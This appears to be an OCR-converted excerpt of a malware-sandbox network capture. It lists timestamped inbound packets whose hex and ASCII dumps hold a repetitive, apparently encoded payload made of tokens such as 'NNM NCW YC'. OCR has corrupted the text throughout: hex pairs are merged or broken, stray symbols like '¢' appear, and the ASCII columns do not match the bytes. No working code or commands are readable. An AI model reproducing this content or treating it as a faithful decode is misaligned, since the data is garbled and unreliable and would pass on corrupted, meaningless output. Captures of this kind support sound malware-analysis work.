Data Ascii: C NYY NC Yr Ir NNL NNM Mc MI'YC rl YN Yr rv WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc MI YC
rL YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc MI'YC rl YN Yr rwv WL NNM NCW NNr YC NYY NC Yr Ir
NNL NNM Mc MI'YC rl YN Yr rw WL NNM NCW NNr YC NYY NC Yr Ir

2021-10-29 18:29:09 UTC 1430 IN Data Raw: 43 20 72 49 20 59 4e 20 59 72 20 56 59 4e 20 57 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4e 59 57
2056 4d 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 4e 57 72 20 49 57 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 20
49 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 63
4e 20 49 4d 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 57 63
20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 59 4c 20 49 57 20 59 43 20 72 49 20 72 49 20 59 72 20 56 4e 57
20 57 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20
63 4e 20 49 4d 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 20 49 59 20 4e
Data Ascii: C rl YN Yr VYN WN NNM NCW NNL YC NYW VM Yr Ir NNY NNM NWr IW YC rl YN Yrr IY NNM NCW NNL
YC Wc VN YrIr NNY NNM cN IM YC rl YN Yrr IY NNM NCW NNL YC Wc VN Yr Ir NNY NNM YL IW YC rl rl Yr VNW WN
NNM NCW NNL YC Wc VN Yr Ir NNY NNM cN IMYC rl YN YrrIY N

2021-10-29 18:29:09 UTC 1434 IN Data Raw: 20 4e 4e 4d 20 4e 59 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 56 56 20 4e 4e 43 20 59 43 20 72 49
20 59 4e 20 59 72 20 4e 43 4c 20 72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4c 20 4e 4e 56 20 59 72 20 49
72 20 4e 4e 56 20 4e 4e 4d 20 4e 49 49 20 57 43 20 59 43 20 72 49 20 72 57 20 59 72 20 4e 4d 20 4d 57 20 4e 4e 4d 20
4e 43 57 20 4e 4e 4c 20 59 43 20 4e 4d 20 4e 56 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 72 43 20 4d 4d 20 59 43
20 72 49 20 72 49 20 59 72 20 63 4d 20 4e 43 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4c 20 4e 4e 56 20 59
72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 57 4d 20 72 49 20 59 43 20 72 49 20 72 57 20 59 72 20 56 72 72 20 59 43 20
4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 59 43 20 4e 56 72 20 56 20 59 72 20 49
Data Ascii: NNM NY Yr Ir NNV NNM NVV NNC YC rl YN Yr NCL rl NNM NCW NNL YC L NNV Yr Ir NNV NNM NIl WC
YC rl rW Yr NM MW NNM NCW NNL YC NM NV Yr Ir NNY NNM rC MM YC rl rl Yr cM NCI NNM NCW NNL YC L NNV
Yr Ir NNV NNM NWM rl YC rl rW Yr Vir YC NNM NCW NNc YC NVr V Yr |

2021-10-29 18:29:09 UTC 1438 IN Data Raw: 4c 20 63 49 20 4e 4c 59 20 4e 4e 63 20 59 4e 20 59 56 20 63 72 20 57 20 4e 63 4d 20 4e 4e 49 20 4e 4e 63 20
4e 43 59 20 4e 4e 4d 20 57 20 56 43 4e 20 59 72 20 63 4c¢ 20 49 43 20 4c 4c 20 4e 4e 43 20 4e 72 63 20 4e 4e 63 20 56
4c 49 20 72 49 20 4e 49 72 20 56 20 49 59 20 4e 4e 72 20 4e 43 43 20 4e 43 59 20 4e 72 43 20 56 4e 20 72 43 20 59 59
20 56 4c 20 49 43 20 4e 57 49 20 49 63 20 4e 43 49 20 4e 4e 56 20 4e 57 20 59 56 20 72 4c 20 4e 4e 49 20 49 59 20 4e
4e 72 20 4e 4e 63 20 4e 43 49 20 4e 49 57 20 4e 4d 20 72 57 20 59 43 20 72 4d 20 49 59 20 56 72 49 20 63 59 20 56 59
20 4e 4e 56 20 56 4d 20 59 56 20 4e 49 72 20 56 20 56 56 20 4e 4e 57 20 57 56 20 4e 43 59 20 4e 72 4e 20 72 4d 20 4e
56 4e 20 59 59 20 4c 4e 20 49 43 20 4e 56 4e 20 59 4c 20 4e 43 49 20 4e
Data Ascii: L cI NLY NNc YN YV cr W NcM NNI NNc NCY NNM W VCN Yr cL IC LL NNC Nrc NNc VLI rl Nir V IY NNr
NCC NCY NrC VN rC YY VL IC NWI Ic NCI NNV NW YV rL NNI'IY NNr NNc NCI NIW NM rW YC rM IY Vrl cY VY NNV V
M YV NIr V VV NNW WV NCY NrN rM NVN YY LN IC NVN YL NCI N

2021-10-29 18:29:09 UTC 1442 IN Data Raw: 20 56 43 20 4e 4e 72 20 4e 4d 63 20 63 4c 20 4e 56 4d 20 49 63 20 56 59 43 20 59 4c 20 56 4c 4d 20 4e 56 59
20 4e 56 4c 20 59 43 20 4d 4e 20 4e 4e 49 20 56 4e 56 20 4e 56 4d 20 63 43 20 4e 4e 4e 20 4c 63 20 4e 4e 72 20 4e 4d
63 20 63 4c 20 4e 43 4c 20 49 4e 20 56 4e 4d 20 4e 43 63 20 56 4c 72 20 4e 56 59 20 57 4e 20 59 4c¢ 20 4e 49 72 20 56
20 49 59 20 4e 4e 72 20 56 49 20 4e 43 72 20 4d 72 20 56 72 20 59 4c 20 59 43 20 57 59 20 49 4e 20 4e 4e 43 20 57 59
20 4e 43 72 20 4e 4e 56 20 57 4e 20 59 4c¢ 20 56 63 20 72 59 20 49 4e 20 4e 4e 72 20 56 49 20 4e 43 72 20 56 4e 4e 20
4e 4c¢ 20 59 4c 20 59 43 20 57 59 20 49 4e 20 4e 72 57 20 57 56 20 4e 43 72 20 4e 4e 56 20 57 57 20 59 4c 20 4e 57 57
20 56 20 56 4e 49 20 4e 56 4d 20 72 20 4e 43 72 20 56 59 43 20 63 20 72
Data Ascii: VC NNr NMc cL NVM Ic VYC YL VLM NVY NVL YC MN NNI VNV NVM cC NNN Lc NNr NMc cL NCL IN VNM
NCc VLr NVY WN YL NIr V IY NNr VI NCr Mr Vr YL YC WY IN NNC WY NCr NNV WN YL Ve rY IN NNr VI NCr VNN NL
YL YC WY IN NrW WV NCr NNV WW YL NWW V VNINVM r NCrVYCcr

2021-10-29 18:29:09 UTC 1445 IN Data Raw: 20 59 4c 20 4e 72 59 20 59 72 20 4d 63 20 4e 4e 43 20 4e 56 72 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 4e 43
20 72 43 20 4c 4e 20 49 4e 20 4e 57 4c 20 4e 4e 4d 20 4c¢ 20 4e 43 63 20 4e 4e 59 20 59 4c 20 4e 4e 4¢ 20 59 72 20 4e
63 56 20 4e 56 59 20 59 72 20 4e 43 72 20 56 4e 4e 20 59 43 20 4e 4e 56 20 72 63 20 4e 56 4d 20 49 4e 20 4e 57 4c 20
4e 4e 4d 20 4e 57 20 4e 43 63 20 49 4c 20 59 4c 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 56 49 20 4e 43 72 20 4
e 57 59 20 59 43 20 4e 57 43 20 72 43 20 4e 49 4c 20 49 4e 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4d 4d
2059 4c 20 4e 72 59 20 59 72 20 63 43 20 4e 4e 43 20 56 59 56 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 4d 72 20 72 43
20 4e 59 4e 20 49 4e 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e
Data Ascii: YL NrY Yr Mc NNC NVr NCr NWY YC NNC rC LN IN NWL NNM L NCc NNY YL NNL Yr NcV NVY Yr NCr
VNN YC NNV rc NVM IN NWL NNM NW NCc IL YL NNL Yr NcV NVY VI NCr NWY YC NWC rC NIL IN rw NNM NYY
NVM NMM YL NrY Yr cC NNC VYV NCr NWY YC NMr rC NYN IN rwv NNM NYY NVM N
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2021-10-29 18:29:09 UTC 1450 IN Data Raw: 4e 63 56 20 4e 56 59 20 56 72 59 20 4e 4e 63 20 4e 56 4c 20 59 43 20 4e 57 49 20 63 4e 20 56 72 63 20 4d 4d
20 4e 56 4e 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 56 4e 43 20 72 4e 20 59 4d 20 59 72 20 4e 63 56 20 4e 56 59 20 4e
72 57 20 4e 4e 4c 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 4e 59 43 20 4d 4c 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e
56 4d 20 56 72 56 20 72 59 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 72 57 20 4e 4e 56 20 59 4e 20 59 43 20
4e 57 49 20 63 4e 20 59 72 20 4d 72 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 49 20 72 63 20 4e 4e 4c 20 59
72 20 4e 63 56 20 4e 56 59 20 59 4c 20 4e 4e 59 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 49 63 20 4d 72 20 72 57 20
4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4d 49 20 72 63 20 4e 4e 4c 20 59
Data Ascii: NcV NVY VrY NNc NVL YC NWI cN Vrc MM NVN NNM NYY NVM VNC rN YM Yr NcV NVY Nrw NNL YN YC
NWI ¢N NYC ML rW NNM NYY NVM VrV rY NNL Yr NcV NVY NrwW NNV YN YC NWI cN Yr Mr rW NNM NYY NVM NI rc N
NL Yr NcV NVY YL NNY YN YC NWI cN Ic Mr rv NNM NYY NVM NMI rc NNL Y

2021-10-29 18:29:09 UTC 1454 IN Data Raw: 49 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4d 49 20 49 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56
59 20 56 4e 4c 20 49 59 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 56 72 63 20 4e 43 49 20 72 57 20 4e 4e 4d 20 4e 59
59 20 4e 56 4d 20 56 4e 43 20 49 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 4e 4d 20 49 72 20 59 4e 20 59 43
20 4e 57 49 20 63 4e 20 56 56 20 4e 43 57 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4e 72 20 57 20 4e 4e 4c
2059 72 20 4e 63 56 20 4e 56 59 20 56 4e 20 49 72 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 4e 49 56 20 4e 43 57 20
72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 72 63 20 57 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 49 4e
20 49 72 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 56 4e 72 20 4e 43 57
Data Ascii: | ' NNM NYY NVM NMI I NNL Yr NcV NVY VNL IY YN YC NWI cN Vrc NCI rwW NNM NYY NVM VNC | NNL
Yr NcV NVY NNM Ir YN YC NWI ¢cN VV NCW rW NNM NYY NVM NNr W NNL Yr NcV NVY VN Ir YN YC NWI ¢cN NIV
NCW rW NNM NYY NVM Nrc W NNL Yr NcV NVY NIN Ir YN YC NWI cN VNr NCW

2021-10-29 18:29:09 UTC 1458 IN Data Raw: 56 20 56 4e 59 20 63 43 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 59 43 20 57 57 20 49 4c 20 72 4¢c 20 72 49
2059 43 20 4e 4e 4c 20 57 4e 20 56 56 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 4e 43 4d 20 4c 4c 20 4e 4d 20 72 4d
204972 20 4e 4e 72 20 4e 63 43 20 4e 56 72 20 49 4c 20 72 4¢ 20 72 49 20 59 43 20 56 57 20 49 72 20 49 4e 20 4e 43
49 20 4e 43 57 20 4e 4e 56 20 56 4e 20 59 4e 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 4e 63 43 20 4e 43 59 20 56 4e
56 20 72 4c 20 72 49 20 59 43 20 4e 59 20 49 4c 20 49 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 43 20 59 4d 20 4e 4d
20 72 4d 20 49 72 20 4e 4e 72 20 4e 72 63 20 4e 43 56 20 49 4d 20 72 4c 20 72 49 20 59 43 20 56 56 72 20 4e 43 4d 20
4e 57 57 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 4e 63 4¢ 20 4e 4e 72 20
Data Ascii: V VNY cC NM rM Ir NNr YC WW IL rL rl YC NNL WN VVN NCI NCW NNV NCM LL NM rM Ir NNr NcC NVr IL
rL rl YC VW Ir IN NCI NCW NNV VN YN NM rM Ir NNr NcC NCY VNV rL rl YC NY IL IN NCI NCW NNV C YM NM rM Ir
NNr Nrc NCV IM rL rl YC VVr NCM NWW NCI NCW NNV NcL NNr

2021-10-29 18:29:09 UTC 1462 IN Data Raw: 4e 4e 72 20 4e 63 72 20 4e 43 49 20 4e 49 4e 20 59 43 20 72 57 20 59 43 20 56 56 49 20 49 59 20 4e 49 4c 20
4e 4e 4d 20 4e 4e 4e 20 4e 4e 56 20 63 4e 20 59 43 20 56 72 59 20 59 72 20 49 63 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e
20 4e 49 59 20 59 43 20 59 72 20 59 43 20 4c 43 20 49 72 20 57 4d 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 72 43 20 59 56
20 4c 4d 20 59 72 20 56 20 4e 4e 72 20 4e 43 59 20 4e 43 59 20 4e 43 59 20 59 43 20 4e 43 56 20 59 43 20 72 43 20 49
43 20 4e 43 59 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 4e 49 20 59 56 20 72 4d 20 59 72 20 56 20 4e 4e 72 20 49 4d 20 4e
4359 20 4e 4e 4e 20 59 43 20 4e 43 56 20 59 43 20 4e 49 20 49 43 20 49 4c 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 56 43
20 59 56 20 4e 4d 20 59 72 20 4e 59 59 20 49 57 20 4e 4d 56 20 4d 43 20
Data Ascii: NNr Ncr NCI NIN YC rW YC VVI 1Y NIL NNM NNN NNV cN YC VrY Yr Ic NNr NCC NNN NIY YC Yr YC LC Ir
WM NNM YW NNV rC YV LM Yr V NNr NCY NCY NCY YC NCV YC rC IC NCY NNM YW NNV NI 'YV rM Yr V NNr IM
NCY NNN YC NCV YC NI'IC IL NNM YW NNV VC YV NM Yr NYY IW NMV MC

2021-10-29 18:29:09 UTC 1466 IN Data Raw: 20 59 72 20 4e 4d 20 4e 4e 72 20 4e 57 20 4e 43 57 20 59 4c 20 59 43 20 49 4d 20 59 43 20 4e 4e 59 20 49 72
2056 63 20 4e 4e 4d 20 72 43 20 4e 4e 56 20 57 4e 20 72 49 20 4e 4e 57 20 59 72 20 63 56 20 4e 4e 72 20 72 49 20 4e
43 57 20 56 4d 20 59 43 20 4e 4e 4d 20 59 43 20 57 43 20 49 72 20 59 59 20 4e 4e 4d 20 43 20 4e 4e 56 20 4e 4e 57 20
72 49 20 57 56 20 59 72 20 4e 4d 20 4e 4e 72 20 56 63 20 4e 43 57 20 59 4c 20 59 43 20 63 72 20 59 43 20 4e 4e 59 20
49 72 20 4c 20 4e 4e 4d 20 72 43 20 4e 4e 56 20 63 72 20 72 49 20 4e 4e 57 20 59 72 20 4c 57 20 4e 4e 72 20 72 49 20
4e 43 57 20 72 20 59 43 20 4e 4e 4d 20 59 43 20 63 4d 20 49 72 20 59 59 20 4e 4e 4d 20 56 4d 20 4e 4e 56 20 4e 4e 57
20 72 49 20 63 57 20 59 72 20 4e 4d 20 4e 4e 72 20 4e 4c 20 4e 43 57 20
Data Ascii: ' Yr NM NNr NW NCW YL YC IM YC NNY Ir Vc NNM rC NNV WN rl NNW Yr cV NNr rl NCW VM YC NNM YC
WC Ir YY NNM C NNV NNW rl WV Yr NM NNr Ve NCW YL YC cr YC NNY Ir L NNM rC NNV cr rl NNW Yr LW NNr rl
NCW r YC NNM YC cM Ir YY NNM VM NNV NNW rl ¢cW Yr NM NNr NL NCW

2021-10-29 18:29:09 UTC 1470 IN Data Raw: 4e 43 72 20 4d 63 20 4d 63 20 59 43 20 72 4d 20 63 20 4e 4e 4e 20 4c 20 59 72 20 4e 43 72 20 59 72 20 56 63
2043 20 4e 4d 20 57 4e 20 57 72 20 4e 4e 57 20 4d 49 20 63 4e 20 4e 20 4e 20 4c 43 20 4d 49 20 49 43 20 4e 4e 4e 20
4e 43 57 20 56 20 4e 4e 20 63 4d 20 4e 4e 4d 20 49 4e 20 4c 59 20 56 56 4d 20 4e 4d 4d 20 56 56 63 20 4e 4c 72 20 59
49 20 4d 63 20 56 4c 20 59 43 20 72 4d 20 4c 20 72 49 20 4e 72 20 56 72 20 59 59 20 63 20 56 63 20 4c 4e 20 4d 49 20 4
9 43 20 4e 4e 4e 20 4e 43 57 20 4d 20 49 72 20 4d 49 20 4d 59 20 56 57 20 72 4d 20 4e 43 57 20 4e 20 59 43 20 4e 4e
56 20 4c 4c 20 56 49 20 56 56 20 4e 4c 20 63 59 20 59 43 20 4e 56 63 20 4d 4e 20 57 43 20 59 63 20 4e 57 20 56 4c 20
4e 20 56 4e 20 49 56 20 4e 20 59 43 20 4e 56 4d 20 4e 4d 20 56 49 20 43
Data Ascii: NCr Mc Mc YC rM ¢ NNN L Yr NCr Yr Ve C NM WN Wr NNW MI cN N N LC MI IC NNN NCW V NN cM NNM
INLY VVM NMM VVe NLr YIMc VL YC rM L rl Nr Vr YY ¢ Ve LN MIIC NNN NCW M Ir MI MY VW rM NCW N YC NNV LL
VIVV NL cY YC NVe MN WC Yc NW VL N VN IVN YC NVM NM VI C

2021-10-29 18:29:09 UTC 1486 IN Data Raw: 43 20 4d 56 20 4e 4e 56 20 4e 4e 49 20 59 43 20 59 20 4e 63 20 72 49 20 63 4d 20 72 4e 20 72 57 20 4e 4e
49 20 4d 20 72 20 4e 4e 59 20 4e 43 4e 20 63 59 20 59 59 20 49 49 20 63 49 20 4e 4e 49 20 4e 4e 59 20 56 20 59 20 56
4e 20 59 56 20 63 49 20 72 63 20 4d 43 20 56 20 57 20 43 20 4e 4e 4d 20 57 63 20 63 63 20 4d 43 20 49 59 20 4d 56 20
4e 4e 57 20 59 20 59 20 4e 4e 56 20 56 56 20 72 49 20 59 4e 20 4e 43 57 20 56 4c 20 49 4d 20 63 49 20 4e 43 57 20 4e
4e 57 20 4d 20 72 57 20 63 43 20 4c 63 20 4e 4e 56 20 4e 4e 56 20 4e 4e 59 20 57 63 20 4e 4e 4e 20 72 20 4¢ 49 20 72
56 20 4c 63 20 63 56 20 4e 56 4c 20 4e 43 43 20 4e 43 57 20 4e 4e 57 20 4e 20 4c 49 20 63 4e 20 59 43 20 63 4e 20 4e
56 59 20 4e 4e 63 20 4e 4e 57 20 4e 43 59 20 56 57 20 63 43 20 59 4e 20 4¢
Data Ascii: C MV NNV NNI'YC Y Nc rl cM rN rW NNI'M r NNY NCN cY YY Il ¢l NNINNY V'Y VN YV ¢l rc MC V W C NNM
Wce cc MC IY MV NNW Y Y NNV VV rl YN NCW VL IM ¢l NCW NNW M rW cC Lc NNV NNV NNY We NNN r LI rV Lc cV
NVL NCC NCW NNW N LI ¢cN YC cN NVY NNc NNW NCY VW cC YN L

2021-10-29 18:29:09 UTC 1502 IN Data Raw: 4e 63 20 4c 4e 20 56 59 20 49 4c¢ 20 57 56 20 57 4e 20 4d 63 20 59 4c 20 63 20 56 49 20 56 20 4c 43 20 59 43
20 4e 56 4e 20 63 59 20 57 63 20 59 4c 20 4c 43 20 56 49 20 57 20 72 57 20 49 4e 20 63 49 20 57 4e 20 49 57 20 59 49
20 4e 4e 72 20 4c 49 20 49 20 4e 57 20 4d 4e 20 63 63 20 57 4e 20 63 63 20 72 59 20 59 4e 20 56 56 20 56 59 20 56 59
20 57 4¢ 20 57 72 20 59 43 20 49 4d 20 59 59 20 63 20 56 49 20 56 20 4c 43 20 59 43 20 57 57 20 4d 59 20 63 57 20 4c 5
6 20 56 4c 20 56 72 20 63 4d 20 4c 72 20 49 4d 20 49 63 20 57 72 20 49 4c 20 59 59 20 63 20 56 49 20 56 20 4c 43 20 59
43 20 4e 56 4e 20 57 56 20 4d 43 20 4c 4c¢ 20 63 20 59 4d 20 4e 56 20 4c 43 20 49 59 20 63 57 20 49 4c 20 49 4e 20 72
57 20 72 57 20 56 63 20 4e 20 56 49 20 49 4d 20 49 4c 20 4d 43 20 57
Data Ascii: Nc LN VY IL WV WN Mc YL ¢ VIV LC YC NVN cY Wc YL LC VIW rW IN ¢l WN IW YI NNr LI | NW MN cc WN
ccrY YNVV VY VY WL Wr YCIMYY ¢ VIVLCYCWW MY cWLVVLVrcMLriIMIcWrILYY cVIVLCYCNVNWV
MC LLc YMNV LCIY cW ILIN rW rW Ve N VI IM IL MC W
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2021-10-29 18:29:09 UTC 1518 IN Data Raw: 4d 20 56 4d 20 56 59 20 49 4e 20 49 59 20 4e 56 4d 20 49 57 20 72 49 20 56 4c 20 56 59 20 63 4d 20 4c 59 20
49 4d 20 49 4c 20 4d 4e 20 63 49 20 63 4e 20 63 20 4e 56 20 4e 43 57 20 4c 59 20 4d 59 20 63 4d 20 4d 43 20 49 4c 20
59 4d 20 57 56 20 4c 49 20 49 20 4e 57 20 4d 4e 20 63 63 20 57 4e 20 63 63 20 72 59 20 4e 4e 72 20 4c 49 20 56 43 20
4c 20 4d 43 20 49 59 20 57 59 20 56 72 20 56 63 20 56 4c 20 4e 20 63 4d 20 4c¢ 59 20 49 4d 20 49 4c 20 4d 4e 20 63 49 2
063 4e 20 63 20 4e 56 20 4e 43 57 20 4c 20 49 4d 20 63 49 20 4e 43 57 20 4e 43 4e 20 72 57 20 4e 4d 20 43 20 4c 4e
20 56 59 20 4d 43 20 4d 4c 20 59 43 20 4e 56 43 20 72 57 20 63 20 4c 4c 20 4e 72 20 43 20 57 4d 20 49 59 20 49 4e 20
63 4d 20 4c 49 20 56 4d 20 4e 20 56 43 20 4e 4e 56 20 4e 4e 57 20 57 72
Data Ascii: M VM VY IN IY NVM IW rl VL VY cM LY IM IL MN cl ¢N ¢ NV NCW LY MY ¢cM MC IL YM WV LI | NW MN cc
WN cc rY NNr LIVC LMC 1Y WY Vr Ve VLN cM LY IM IL MN ¢l cN ¢ NV NCW L IM cI NCW NCN rW NM C LN VY MC
ML YC NVC rW ¢ LL NrCWM 1Y IN cM LI VM N VC NNV NNW Wr

2021-10-29 18:29:09 UTC 1534 IN Data Raw: 20 4e 56 20 4e 4e 56 20 4d 43 20 72 49 20 57 43 20 59 72 20 49 72 20 4e 4e 57 20 49 59 20 4e 43 57 20 72 4c
2059 43 20 72 49 20 72 57 20 4e 43 4d 20 49 72 20 4e 4e 72 20 59 72 20 72 63 20 4e 4e 56 20 57 4c 20 72 49 20 57 56
2059 72 20 59 59 20 4e 4e 72 20 56 43 20 4e 43 57 20 72 20 59 43 20 43 20 59 43 20 56 56 20 49 72 20 63 4c 20 4e 4e
4d 20 72 63 20 4e 4e 56 20 57 4c 20 72 49 20 57 56 20 59 72 20 59 59 20 4e 4e 72 20 56 43 20 4e 43 57 20 72 20 59 43
20 49 56 20 59 43 20 56 56 20 49 72 20 56 57 20 4e 4e 4d 20 72 63 20 4e 4e 56 20 57 4c 20 72 49 20 57 56 20 59 72 20
59 59 20 4e 4e 72 20 56 43 20 4e 43 57 20 72 20 59 43 20 63 63 20 59 43 20 56 56 20 49 72 20 72 57 20 4e 4e 4d 20 56
20 4e 4e 56 20 57 56 20 72 49 20 49 4e 20 59 72 20 59 4c 20 4e 4e 72 20
Data Ascii: NV NNV MC rl WC Yr Ir NNW IY NCW rL YC rl rWW NCM Ir NNr Yr rc NNV WL rl WV Yr YY NNr VC NCW r YC
C YC VV IrcL NNM rc NNV WL rl WV Yr YY NNr VC NCW r YC IV YC VV Ir VW NNM rc NNV WL rl WV Yr YY NNr VC
NCW r YC cc YC VV Ir rv NNM V NNV WV rl IN Yr YL NNr

2021-10-29 18:29:09 UTC 1550 IN Data Raw: 4e 4d 63 20 4e 4d 57 20 59 56 20 49 56 20 4e 56 56 20 4e 4e 4c 20 4e 43 4d 20 4e 43 57 20 4c 56 20 49 20
59 56 20 72 49 20 63 59 20 57 63 20 49 49 20 4e 43 49 20 4e 56 63 20 63 4c 20 59 72 20 4¢ 57 20 4c 63 20 56 4e 56 20
56 4e 59 20 4e 4e 63 20 4e 56 43 20 57 4d 20 4e 4d 49 20 4e 56 57 20 72 49 20 59 63 20 57 43 20 4e 4e 4c 20 4e 4e 59
20 4e 4e 56 20 4e 4e 4d 20 72 49 20 59 72 20 59 4d 20 59 4c 20 49 56 20 4e 4e 4e 20 4e 56 4c 20 4e 43 72 20 4e 4e 49
20 72 4d 20 4c 4c 20 4e 4d 49 20 4e 4c 49 20 49 4e 20 4e 4e 63 20 4e 43 72 20 4e 56 72 20 56 72 43 20 56 72 56 20 59
56 20 59 56 20 4c 57 20 56 4e 4c 20 4e 56 56 20 4e 4e 4c 20 4e 43 4d 20 57 49 20 4e 4d 49 20 56 4e 4c 20 72 49 20 72
49 20 49 4e 20 4e 4e 49 20 4e 4e 59 20 4e 56 72 20 56 72 43 20 4e 72 63 20
Data Ascii: NMc NMW YV IV NVV NNL NCM NCW LV I YV rl cY Wc Il NCI NVc cL Yr LW Lc VNV VNY NNc NVC WM NMI
NVW rl Yc WC NNL NNY NNV NNM rl Yr YM YL IV NNN NVL NCr NNI rM LL NMI'NLI'IN NNc NCr NVr VrC VrV YV YV
LW VNL NVV NNL NCM WI NMI'VNL rl rl IN NNI NNY NVr VrC Nrc

2021-10-29 18:29:09 UTC 1566 IN Data Raw: 20 56 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4d 20 4e 4e 4d 20 56
20 4e 4e 56 20 57 4c 20 72 49 20 49 57 20 59 72 20 63 4e 20 4e 4e 72 20 4e 63 20 4e 43 57 20 4c 20 59 43 20 4c 43 20
59 43 20 63 57 20 49 72 20 4c 20 4e 4e 4d 20 4e 20 4e 4e 56 20 57 4e 20 72 49 20 4d 43 20 59 72 20 72 57 20 4e 4e 72
20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 43 4e 20 59 43 20 49 49 20 49 72 20 56 59 20 4e 4e 4d 20 4c 20 4e
4e 56 20 57 4¢ 20 72 49 20 63 57 20 59 72 20 59 49 20 4e 4e 72 20 72 49 20 4e 43 57 20 49 20 59 43 20 63 49 20 59 43
20 49 4c 20 49 72 20 56 49 20 4e 4e 4d 20 4c 43 20 4e 4e 56 20 57 4e 20 72 49 20 57 4c 20 59 72 20 59 49 20 4e 4e 72
2072 4e 20 4e 43 57 20 4c 56 20 59 43 20 63 63 20 59 43 20 49 57 20 49 72
Data Ascii: VY NCW NNV YC rl YC Yr Ir NM NNM V NNV WL rl IW Yr cN NNr Nc NCW L YC LC YC cW Ir L NNM N NNV
WN rl MC Yr rW NNr NNM NCW NNV YC NCN YC Il Ir VY NNM L NNV WL rl cW Yr YINNr i NCW I YC cl YC IL Ir VI
NNM LC NNV WN rl WL Yr YI NNr rN NCW LV YC cc YC IW Ir

2021-10-29 18:29:09 UTC 1582 IN Data Raw: 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 59 56 20 59 43 20 49 57 20 59 43 20 63 57 20 49 72 20 56 20 4e
4e 4d 20 4e 20 4e 4e 56 20 49 4c 20 72 49 20 4d 59 20 59 72 20 56 63 20 4e 4e 72 20 56 43 20 4e 43 57 20 56 57 20 59
4320 49 59 20 59 43 20 59 72 20 49 72 20 56 4c 20 4e 4e 4d 20 56 4e 20 4e 4e 56 20 63 63 20 72 49 20 57 4e 20 59 72
20 4c 49 20 4e 4e 72 20 4e 56 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 57 49 20 49 72 20 56 4c 20 4e 4e
4d 20 4e 20 4e 4e 56 20 59 43 20 72 49 20 56 72 20 59 72 20 4e 56 56 20 4e 4e 72 20 4c 20 4e 43 57 20 4c 20 59 43 20
63 49 20 59 43 20 63 49 20 49 72 20 56 4d 20 4e 4e 4d 20 4c 20 4e 4e 56 20 49 59 20 72 49 20 56 49 20 59 72 20 63 20
4e 4e 72 20 4e 63 20 4e 43 57 20 43 20 59 43 20 57 56 20 59 43 20 49 4d 20
Data Ascii: ¢ NNr NNM NCW YV YC IW YC cW Ir V. NNM N NNV IL rl MY Yr Ve NNr VC NCW VW YC IY YC Yr Ir VL
NNM VN NNV cc rl WN Yr LI NNr NV NCW NNV YC rl YC WI Ir VL NNM N NNV YC rl Vr Yr NVV NNr L NCW L YC ¢l YC
clIr VM NNM L NNV 1Y rl VI Yr ¢ NNr Nc NCW C YC WV YC IM

2021-10-29 18:29:09 UTC 1598 IN Data Raw: 4e 4e 4e 20 63 56 20 43 20 43 20 4e 43 20 56 59 72 20 4e 72 20 72 20 43 20 56 59 72 20 4e 4c 20 72 20 43
2072 43 20 63 4c 20 43 20 43 20 4e 43 20 59 49 20 4e 57 20 43 20 43 20 43 20 56 59 72 20 57 20 4e 20 43 20 56 59 72
